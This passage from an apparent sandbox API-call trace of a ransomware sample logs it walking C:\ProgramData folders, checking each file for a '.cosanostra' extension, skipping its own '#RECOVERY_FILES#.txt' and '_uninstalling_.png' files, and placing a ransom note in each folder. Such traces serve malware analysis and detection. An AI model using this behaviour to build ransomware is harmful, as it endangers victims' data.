pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn") returned 55 [0081.841] StrStrIW (lpFirst="MS.GROOVE.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.841] lstrcmpW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.841] lstrcmpW (lpString1="MS.GROOVE.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.841] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn") returned 55 [0081.841] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned 57 [0081.841] StrStrIW (lpFirst="MS.INFOPATH.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.841] lstrcmpW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.841] lstrcmpW (lpString1="MS.INFOPATH.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.841] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned 57 [0081.841] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn") returned 63 [0081.841] StrStrIW (lpFirst="MS.INFOPATHEDITOR.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.841] lstrcmpW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.841] lstrcmpW (lpString1="MS.INFOPATHEDITOR.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.841] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn") returned 63 [0081.841] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn") returned 57 [0081.841] StrStrIW (lpFirst="MS.MSACCESS.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.841] lstrcmpW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.841] lstrcmpW (lpString1="MS.MSACCESS.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.841] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn") returned 57 [0081.841] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn") returned 61 [0081.841] StrStrIW (lpFirst="MS.MSACCESS.DEV.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.841] lstrcmpW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.841] lstrcmpW (lpString1="MS.MSACCESS.DEV.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.841] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn") returned 61 [0081.841] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn") returned 54 [0081.841] StrStrIW (lpFirst="MS.MSOUC.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.841] lstrcmpW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.841] lstrcmpW (lpString1="MS.MSOUC.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.841] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn") returned 54 [0081.841] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn") returned 54 [0081.841] StrStrIW (lpFirst="MS.MSPUB.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.841] lstrcmpW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.842] lstrcmpW (lpString1="MS.MSPUB.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.842] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn") returned 54 [0081.842] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn") returned 58 [0081.842] StrStrIW (lpFirst="MS.MSPUB.DEV.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.842] lstrcmpW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.842] lstrcmpW (lpString1="MS.MSPUB.DEV.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.842] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn") returned 58 [0081.842] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn") returned 55 [0081.842] StrStrIW (lpFirst="MS.MSTORE.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.842] lstrcmpW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.842] lstrcmpW (lpString1="MS.MSTORE.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.842] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.MSTORE.14.1033.hxn") returned 55 [0081.842] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn") returned 52 [0081.842] StrStrIW (lpFirst="MS.OIS.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.842] lstrcmpW (lpString1="MS.OIS.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.842] lstrcmpW (lpString1="MS.OIS.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.842] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.OIS.14.1033.hxn") returned 52 [0081.842] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn") returned 56 [0081.842] StrStrIW (lpFirst="MS.ONENOTE.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.842] lstrcmpW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.842] lstrcmpW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.842] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.ONENOTE.14.1033.hxn") returned 56 [0081.842] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn") returned 56 [0081.842] StrStrIW (lpFirst="MS.OUTLOOK.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.842] lstrcmpW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.842] lstrcmpW (lpString1="MS.OUTLOOK.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.842] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn") returned 56 [0081.842] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn") returned 60 [0081.842] StrStrIW (lpFirst="MS.OUTLOOK.DEV.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.842] lstrcmpW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.842] lstrcmpW (lpString1="MS.OUTLOOK.DEV.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.842] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn") returned 60 [0081.842] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn") returned 57 [0081.842] StrStrIW (lpFirst="MS.POWERPNT.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.842] lstrcmpW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.842] lstrcmpW (lpString1="MS.POWERPNT.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.842] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn") returned 57 [0081.842] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn") returned 61 [0081.843] StrStrIW (lpFirst="MS.POWERPNT.DEV.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.843] lstrcmpW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.843] lstrcmpW (lpString1="MS.POWERPNT.DEV.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.843] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn") returned 61 [0081.843] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn") returned 56 [0081.843] StrStrIW (lpFirst="MS.SETLANG.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.843] lstrcmpW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.843] lstrcmpW (lpString1="MS.SETLANG.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.843] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn") returned 56 [0081.843] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn") returned 54 [0081.843] StrStrIW (lpFirst="MS.VISIO.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.843] lstrcmpW (lpString1="MS.VISIO.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.843] lstrcmpW (lpString1="MS.VISIO.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.843] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO.14.1033.hxn") returned 54 [0081.843] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn") returned 58 [0081.843] StrStrIW (lpFirst="MS.VISIO.DEV.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.843] lstrcmpW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.843] lstrcmpW (lpString1="MS.VISIO.DEV.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.843] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO.DEV.14.1033.hxn") returned 58 [0081.843] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn") returned 65 [0081.843] StrStrIW (lpFirst="MS.VISIO.SHAPESHEET.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.843] lstrcmpW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.843] lstrcmpW (lpString1="MS.VISIO.SHAPESHEET.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.843] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn") returned 65 [0081.843] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn") returned 58 [0081.843] StrStrIW (lpFirst="MS.VISIO_PRM.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.843] lstrcmpW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.843] lstrcmpW (lpString1="MS.VISIO_PRM.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.843] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn") returned 58 [0081.843] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn") returned 58 [0081.843] StrStrIW (lpFirst="MS.VISIO_STD.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.843] lstrcmpW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.843] lstrcmpW (lpString1="MS.VISIO_STD.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.843] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn") returned 58 [0081.843] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn") returned 56 [0081.843] StrStrIW (lpFirst="MS.WINPROJ.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.843] lstrcmpW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.843] lstrcmpW (lpString1="MS.WINPROJ.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.843] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn") returned 56 [0081.844] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn") returned 60 [0081.844] StrStrIW (lpFirst="MS.WINPROJ.DEV.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.844] lstrcmpW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.844] lstrcmpW (lpString1="MS.WINPROJ.DEV.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.844] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn") returned 60 [0081.844] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn") returned 56 [0081.844] StrStrIW (lpFirst="MS.WINWORD.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.844] lstrcmpW (lpString1="MS.WINWORD.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.844] lstrcmpW (lpString1="MS.WINWORD.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.844] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn") returned 56 [0081.844] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn") returned 60 [0081.844] StrStrIW (lpFirst="MS.WINWORD.DEV.14.1033.hxn", lpSrch=".cosanostra") returned 0x0 [0081.844] lstrcmpW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.844] lstrcmpW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2="_uninstalling_.png") returned 1 [0081.844] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn") returned 60 [0081.844] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\nslist.hxl") returned 44 [0081.844] StrStrIW (lpFirst="nslist.hxl", lpSrch=".cosanostra") returned 0x0 [0081.844] lstrcmpW (lpString1="nslist.hxl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.844] lstrcmpW (lpString1="nslist.hxl", lpString2="_uninstalling_.png") returned 1 [0081.844] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\nslist.hxl") returned 44 [0081.845] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft Help\\#RECOVERY_FILES#.txt") returned 54 [0081.845] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft Help\\#RECOVERY_FILES#.txt") returned 54 [0081.845] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla") returned 26 [0081.845] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1 [0081.845] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1 [0081.846] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\*") returned 28 [0081.846] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Mozilla\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x25a7b0 [0081.846] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\.") returned 28 [0081.846] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.846] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0081.846] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\..") returned 29 [0081.846] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.846] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.846] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0081.846] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\logs") returned 31 [0081.847] lstrcmpW (lpString1="logs", lpString2=".") returned 1 [0081.847] lstrcmpW (lpString1="logs", lpString2="..") returned 1 [0081.847] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\logs\\*") returned 33 [0081.847] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Mozilla\\logs\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0081.853] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\logs\\.") returned 33 [0081.853] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.853] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.854] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\logs\\..") returned 34 [0081.854] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.854] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.854] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.854] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log") returned 62 [0081.854] StrStrIW (lpFirst="maintenanceservice-install.log", lpSrch=".cosanostra") returned 0x0 [0081.854] lstrcmpW (lpString1="maintenanceservice-install.log", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.854] lstrcmpW (lpString1="maintenanceservice-install.log", lpString2="_uninstalling_.png") returned 1 [0081.854] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log") returned 62 [0081.855] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\logs\\#RECOVERY_FILES#.txt") returned 52 [0081.855] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Mozilla\\logs\\#RECOVERY_FILES#.txt") returned 52 [0081.855] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\#RECOVERY_FILES#.txt") returned 47 [0081.855] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Mozilla\\#RECOVERY_FILES#.txt") returned 47 [0081.855] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Oracle") returned 25 [0081.855] lstrcmpW (lpString1="Oracle", lpString2=".") returned 1 [0081.855] lstrcmpW (lpString1="Oracle", lpString2="..") returned 1 [0081.856] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Oracle\\*") returned 27 [0081.856] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Oracle\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x25a7b0 [0081.856] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Oracle\\.") returned 27 [0081.856] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.856] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0081.856] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Oracle\\..") returned 28 [0081.856] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.856] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.857] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0081.857] FindClose (in: hFindFile=0x25a7b0 | out: hFindFile=0x25a7b0) returned 1 [0081.857] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Oracle\\#RECOVERY_FILES#.txt") returned 46 [0081.857] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Oracle\\#RECOVERY_FILES#.txt") returned 46 [0081.857] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache") returned 32 [0081.857] lstrcmpW (lpString1="Package Cache", lpString2=".") returned 1 [0081.857] lstrcmpW (lpString1="Package Cache", lpString2="..") returned 1 [0081.858] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\*") returned 34 [0081.858] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x25a7b0 [0081.957] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\.") returned 34 [0081.957] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.957] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0081.967] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\..") returned 35 [0081.967] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.967] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.968] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0081.968] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned 73 [0081.968] lstrcmpW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2=".") returned 1 [0081.968] lstrcmpW (lpString1="42D5BEC7DDFBD49E76467529CBC2868987BF8460", lpString2="..") returned 1 [0081.968] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*") returned 75 [0081.968] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0081.969] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\.") returned 75 [0081.969] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.969] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.969] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\..") returned 76 [0081.969] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.969] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.969] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.969] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned 82 [0081.969] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0081.969] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0081.969] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*") returned 84 [0081.969] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0081.970] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\.") returned 84 [0081.970] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.970] FindNextFileW (in: hFindFile=0x25a830, 